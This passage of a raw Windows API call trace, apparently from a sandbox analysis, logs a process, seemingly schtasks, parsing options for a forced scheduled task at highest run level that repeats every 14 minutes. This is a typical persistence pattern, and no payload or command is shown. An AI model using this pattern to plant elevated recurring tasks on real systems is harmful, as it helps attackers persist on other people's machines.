_BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.365] lstrlenW (lpString="|s|") returned 3 [0082.365] lstrlenW (lpString="|f|") returned 3 [0082.365] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0082.368] SetLastError (dwErrCode=0x490) [0082.369] lstrlenW (lpString="u") returned 1 [0082.369] lstrlenW (lpString="u") returned 1 [0082.369] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.369] lstrlenW (lpString="f") returned 1 [0082.369] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.369] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|u|") returned 3 [0082.369] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.369] lstrlenW (lpString="|u|") returned 3 [0082.369] lstrlenW (lpString="|f|") returned 3 [0082.369] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0082.369] SetLastError (dwErrCode=0x490) [0082.369] lstrlenW (lpString="p") returned 1 [0082.369] lstrlenW (lpString="p") returned 1 [0082.369] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.369] lstrlenW (lpString="f") returned 1 [0082.369] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.369] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|p|") returned 3 [0082.369] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.369] lstrlenW (lpString="|p|") returned 3 [0082.369] lstrlenW (lpString="|f|") returned 3 [0082.369] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0082.369] SetLastError (dwErrCode=0x490) [0082.370] lstrlenW (lpString="ru") returned 2 [0082.370] lstrlenW (lpString="ru") returned 2 [0082.370] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.370] lstrlenW (lpString="f") returned 1 [0082.370] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.370] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ru|") returned 4 [0082.370] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.370] lstrlenW (lpString="|ru|") returned 4 [0082.370] lstrlenW (lpString="|f|") returned 3 [0082.370] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0082.370] SetLastError (dwErrCode=0x490) [0082.370] lstrlenW (lpString="rp") returned 2 [0082.370] lstrlenW (lpString="rp") returned 2 [0082.370] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.370] lstrlenW (lpString="f") returned 1 [0082.370] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.370] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rp|") returned 4 [0082.370] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.370] lstrlenW (lpString="|rp|") returned 4 [0082.370] lstrlenW (lpString="|f|") returned 3 [0082.370] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0082.370] SetLastError (dwErrCode=0x490) [0082.370] lstrlenW (lpString="sc") returned 2 [0082.371] lstrlenW (lpString="sc") returned 2 [0082.371] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.371] lstrlenW (lpString="f") returned 1 [0082.371] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.371] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.371] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.371] lstrlenW (lpString="|sc|") returned 4 [0082.371] lstrlenW (lpString="|f|") returned 3 [0082.371] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0082.371] SetLastError (dwErrCode=0x490) [0082.371] lstrlenW (lpString="mo") returned 2 [0082.371] lstrlenW (lpString="mo") returned 2 [0082.371] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.371] lstrlenW (lpString="f") returned 1 [0082.371] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.371] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.371] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.371] lstrlenW (lpString="|mo|") returned 4 [0082.371] lstrlenW (lpString="|f|") returned 3 [0082.371] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0082.371] SetLastError (dwErrCode=0x490) [0082.371] lstrlenW (lpString="d") returned 1 [0082.371] lstrlenW (lpString="d") returned 1 [0082.371] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.372] lstrlenW (lpString="f") returned 1 [0082.372] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.372] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|d|") returned 3 [0082.372] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.372] lstrlenW (lpString="|d|") returned 3 [0082.372] lstrlenW (lpString="|f|") returned 3 [0082.372] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0082.372] SetLastError (dwErrCode=0x490) [0082.372] lstrlenW (lpString="m") returned 1 [0082.372] lstrlenW (lpString="m") returned 1 [0082.372] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.372] lstrlenW (lpString="f") returned 1 [0082.372] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.372] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|m|") returned 3 [0082.372] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.372] lstrlenW (lpString="|m|") returned 3 [0082.372] lstrlenW (lpString="|f|") returned 3 [0082.372] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0082.372] SetLastError (dwErrCode=0x490) [0082.372] lstrlenW (lpString="i") returned 1 [0082.372] lstrlenW (lpString="i") returned 1 [0082.372] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.372] lstrlenW (lpString="f") returned 1 [0082.372] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.373] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|i|") returned 3 [0082.373] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.373] lstrlenW (lpString="|i|") returned 3 [0082.373] lstrlenW (lpString="|f|") returned 3 [0082.373] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0082.373] SetLastError (dwErrCode=0x490) [0082.373] lstrlenW (lpString="tn") returned 2 [0082.373] lstrlenW (lpString="tn") returned 2 [0082.373] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.373] lstrlenW (lpString="f") returned 1 [0082.373] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.373] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.373] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.373] lstrlenW (lpString="|tn|") returned 4 [0082.373] lstrlenW (lpString="|f|") returned 3 [0082.373] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0082.373] SetLastError (dwErrCode=0x490) [0082.373] lstrlenW (lpString="tr") returned 2 [0082.373] lstrlenW (lpString="tr") returned 2 [0082.373] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.373] lstrlenW (lpString="f") returned 1 [0082.373] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.373] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tr|") returned 4 [0082.373] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.374] lstrlenW (lpString="|tr|") returned 4 [0082.374] lstrlenW (lpString="|f|") returned 3 [0082.374] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0082.374] SetLastError (dwErrCode=0x490) [0082.374] lstrlenW (lpString="st") returned 2 [0082.374] lstrlenW (lpString="st") returned 2 [0082.374] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.374] lstrlenW (lpString="f") returned 1 [0082.374] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.374] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|st|") returned 4 [0082.374] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.374] lstrlenW (lpString="|st|") returned 4 [0082.374] lstrlenW (lpString="|f|") returned 3 [0082.374] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0082.374] SetLastError (dwErrCode=0x490) [0082.374] lstrlenW (lpString="sd") returned 2 [0082.374] lstrlenW (lpString="sd") returned 2 [0082.374] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.374] lstrlenW (lpString="f") returned 1 [0082.374] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.374] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sd|") returned 4 [0082.374] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.374] lstrlenW (lpString="|sd|") returned 4 [0082.374] lstrlenW (lpString="|f|") returned 3 [0082.375] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0082.375] SetLastError (dwErrCode=0x490) [0082.375] lstrlenW (lpString="ed") returned 2 [0082.375] lstrlenW (lpString="ed") returned 2 [0082.375] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.375] lstrlenW (lpString="f") returned 1 [0082.375] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.375] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ed|") returned 4 [0082.375] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.375] lstrlenW (lpString="|ed|") returned 4 [0082.375] lstrlenW (lpString="|f|") returned 3 [0082.375] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0082.375] SetLastError (dwErrCode=0x490) [0082.375] lstrlenW (lpString="it") returned 2 [0082.375] lstrlenW (lpString="it") returned 2 [0082.375] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.375] lstrlenW (lpString="f") returned 1 [0082.375] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.375] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|it|") returned 4 [0082.375] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.375] lstrlenW (lpString="|it|") returned 4 [0082.375] lstrlenW (lpString="|f|") returned 3 [0082.375] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0082.375] SetLastError (dwErrCode=0x490) [0082.376] lstrlenW (lpString="et") returned 2 [0082.376] lstrlenW (lpString="et") returned 2 [0082.376] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.376] lstrlenW (lpString="f") returned 1 [0082.376] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.376] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|et|") returned 4 [0082.376] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.376] lstrlenW (lpString="|et|") returned 4 [0082.376] lstrlenW (lpString="|f|") returned 3 [0082.376] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0082.376] SetLastError (dwErrCode=0x490) [0082.376] lstrlenW (lpString="k") returned 1 [0082.376] lstrlenW (lpString="k") returned 1 [0082.376] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.376] lstrlenW (lpString="f") returned 1 [0082.376] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.376] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|k|") returned 3 [0082.376] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.376] lstrlenW (lpString="|k|") returned 3 [0082.376] lstrlenW (lpString="|f|") returned 3 [0082.376] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0082.376] SetLastError (dwErrCode=0x490) [0082.376] lstrlenW (lpString="du") returned 2 [0082.376] lstrlenW (lpString="du") returned 2 [0082.377] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.377] lstrlenW (lpString="f") returned 1 [0082.377] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.377] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|du|") returned 4 [0082.377] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.377] lstrlenW (lpString="|du|") returned 4 [0082.377] lstrlenW (lpString="|f|") returned 3 [0082.377] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0082.377] SetLastError (dwErrCode=0x490) [0082.377] lstrlenW (lpString="ri") returned 2 [0082.377] lstrlenW (lpString="ri") returned 2 [0082.377] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.377] lstrlenW (lpString="f") returned 1 [0082.377] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.377] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ri|") returned 4 [0082.377] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.377] lstrlenW (lpString="|ri|") returned 4 [0082.377] lstrlenW (lpString="|f|") returned 3 [0082.377] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0082.377] SetLastError (dwErrCode=0x490) [0082.377] lstrlenW (lpString="z") returned 1 [0082.377] lstrlenW (lpString="z") returned 1 [0082.377] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.378] lstrlenW (lpString="f") returned 1 [0082.378] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.378] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|z|") returned 3 [0082.378] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.378] lstrlenW (lpString="|z|") returned 3 [0082.378] lstrlenW (lpString="|f|") returned 3 [0082.378] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0082.378] SetLastError (dwErrCode=0x490) [0082.378] lstrlenW (lpString="f") returned 1 [0082.378] lstrlenW (lpString="f") returned 1 [0082.378] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.378] lstrlenW (lpString="f") returned 1 [0082.378] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.378] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.378] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|f|") returned 3 [0082.378] lstrlenW (lpString="|f|") returned 3 [0082.378] lstrlenW (lpString="|f|") returned 3 [0082.378] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0082.378] SetLastError (dwErrCode=0x0) [0082.378] SetLastError (dwErrCode=0x0) [0082.378] GetProcessHeap () returned 0x140000 [0082.378] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cfa0 [0082.378] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.378] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0082.379] lstrlenW (lpString="LIMITED") returned 7 [0082.379] GetProcessHeap () returned 0x140000 [0082.379] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d740 [0082.379] GetThreadLocale () returned 0x409 [0082.379] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0082.379] GetProcessHeap () returned 0x140000 [0082.379] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cf70 [0082.379] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.379] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0082.379] lstrlenW (lpString="HIGHEST") returned 7 [0082.379] GetProcessHeap () returned 0x140000 [0082.379] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d760 [0082.379] GetThreadLocale () returned 0x409 [0082.379] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0082.379] GetProcessHeap () returned 0x140000 [0082.379] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cf40 [0082.379] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.379] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0082.379] lstrlenW (lpString="MINUTE") returned 6 [0082.379] GetProcessHeap () returned 0x140000 [0082.379] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d780 [0082.379] GetThreadLocale () returned 0x409 [0082.380] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0082.380] SetLastError (dwErrCode=0x0) [0082.380] GetProcessHeap () returned 0x140000 [0082.380] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x1fc) returned 0x15c6d0 [0082.380] GetProcessHeap () returned 0x140000 [0082.380] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cf10 [0082.380] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.380] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0082.380] lstrlenW (lpString="First") returned 5 [0082.380] GetProcessHeap () returned 0x140000 [0082.380] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xc) returned 0x15d7a0 [0082.380] GetProcessHeap () returned 0x140000 [0082.380] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cee0 [0082.380] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.380] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0082.380] lstrlenW (lpString="Second") returned 6 [0082.380] GetProcessHeap () returned 0x140000 [0082.380] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d7c0 [0082.380] GetProcessHeap () returned 0x140000 [0082.380] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ceb0 [0082.380] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.380] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0082.381] lstrlenW (lpString="Third") returned 5 [0082.381] GetProcessHeap () returned 0x140000 [0082.381] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xc) returned 0x15d7e0 [0082.381] GetProcessHeap () returned 0x140000 [0082.381] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ce80 [0082.381] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.381] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0082.381] lstrlenW (lpString="Fourth") returned 6 [0082.381] GetProcessHeap () returned 0x140000 [0082.381] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d800 [0082.381] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.381] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0082.381] lstrlenW (lpString="Last") returned 4 [0082.381] GetProcessHeap () returned 0x140000 [0082.381] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xa) returned 0x15d820 [0082.381] lstrlenW (lpString="14") returned 2 [0082.381] _wtol (_String="14") returned 14 [0082.381] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.381] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0082.381] lstrlenW (lpString="First") returned 5 [0082.381] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.381] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0082.381] lstrlenW (lpString="Second") returned 6 [0082.382] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.382] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0082.382] lstrlenW (lpString="Third") returned 5 [0082.382] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.382] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0082.382] lstrlenW (lpString="Fourth") returned 6 [0082.382] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.382] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0082.382] lstrlenW (lpString="Last") returned 4 [0082.382] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc700, cchData=128 | out: lpLCData="0") returned 2 [0082.382] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.382] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0082.382] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0082.382] GetProcessHeap () returned 0x140000 [0082.382] GetProcessHeap () returned 0x140000 [0082.382] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7a0) returned 1 [0082.382] GetProcessHeap () returned 0x140000 [0082.382] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d7a0) returned 0xc [0082.383] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7a0 | out: hHeap=0x140000) returned 1 [0082.383] GetProcessHeap () returned 0x140000 [0082.383] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x16) returned 0x15d7a0 [0082.383] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc720, cchData=128 | out: lpLCData="0") returned 2 [0082.383] _memicmp (_Buf1=0x15bc90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.383] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x15d4a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0082.383] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0082.383] GetProcessHeap () returned 0x140000 [0082.383] GetProcessHeap () returned 0x140000 [0082.383] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7c0) returned 1 [0082.383] GetProcessHeap () returned 0x140000 [0082.383] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d7c0) returned 0xe [0082.383] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d7c0 | out: hHeap=0x140000) returned 1 [0082.383] GetProcessHeap () returned 0x140000 [0082.383] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x16) returned 0x15d7c0 [0082.383] GetLocalTime (in: lpSystemTime=0xbc950 | out: lpSystemTime=0xbc950*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x6, wMilliseconds=0x2e8)) [0082.383] lstrlenW (lpString="") returned 0 [0082.383] GetLocalTime (in: lpSystemTime=0xbd208 | out: lpSystemTime=0xbd208*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x6, wMilliseconds=0x2e8)) [0082.384] lstrlenW (lpString="") returned 0 [0082.384] lstrlenW (lpString="") returned 0 [0082.384] lstrlenW (lpString="") returned 0 [0082.384] lstrlenW (lpString="") returned 0 [0082.384] lstrlenW (lpString="14") returned 2 [0082.384] _wtol (_String="14") returned 14 [0082.384] lstrlenW (lpString="") returned 0 [0082.384] lstrlenW (lpString="") returned 0 [0082.384] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0082.461] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, 